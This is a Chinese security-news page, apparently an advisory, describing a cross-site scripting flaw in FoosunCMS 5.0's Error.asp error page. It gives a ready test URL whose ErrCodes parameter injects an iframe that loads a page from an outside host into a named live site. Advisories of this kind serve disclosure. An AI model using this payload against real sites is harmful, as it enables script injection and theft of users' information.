资讯 安全 论坛 下载 读书 程序开发 数据库 系统 网络 电子书 微信学院 站长学院 QQ 考试
频道栏目
网站安全| 安全资讯| 安全公告| 病毒预警| 人物| 企业招聘| 其他综合|
登录注册
首页 > 资讯 > 网站安全 > 正文

风讯(FoosunCMS) 5.0 Error.asp 错误页跨站脚本漏洞 (图）

10-03-20        来源：[db:作者]  
收藏   我要投稿

FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管理软件，国内领先的第一款开源的、集成web2.0元素的、模块化的ＣＭＳ建站系统。
   FoosunCMS不正确过滤用户输入，远程攻击者可以利用漏洞进行跨站脚本攻击，获得敏感信息。
   由于不正确处理错误页面，在返回给用户后，可导致恶意脚本代码在目标浏览器上执行，泄漏敏感信息。

 

测试Url

http://www.freecms2008.cn/Foosun500/User/lib/Error.asp?ErrCodes=%3Ciframe%20src=http://dgyifeng.net/swf/qing.html%3E&ErrorUrl=http://www.freecms2008.cn/foosun500/

 

点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇：简单的中间人（MITM，Man-In-The-Middle）攻击图示
下一篇：Internet Explorer 无限循环拒绝服务漏洞
相关文章
热门专题推荐 vmware win7激活工具 win10激活工具 excel word office激活 小马激活工具 重装系统 数据恢复 u盘启动工具
图文推荐
文章
推荐
热门新闻
· 锤子坚果Pro发布后，罗永浩哭了
· 想实习的大学党看过来!这些科技巨头最
· 罗永浩锤子发布会抢先消息：锤子科技新
· Google新一代系统Fuchsia OS界面曝光
· 中国唯一连续运营20余年的网络游戏，还
· iPhone都便宜了 为何国产手机越来越贵
· 丢人！谷歌和Facebook竟被虚假企业电邮
· 中国移动支付震惊日本网友 为什么美国

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站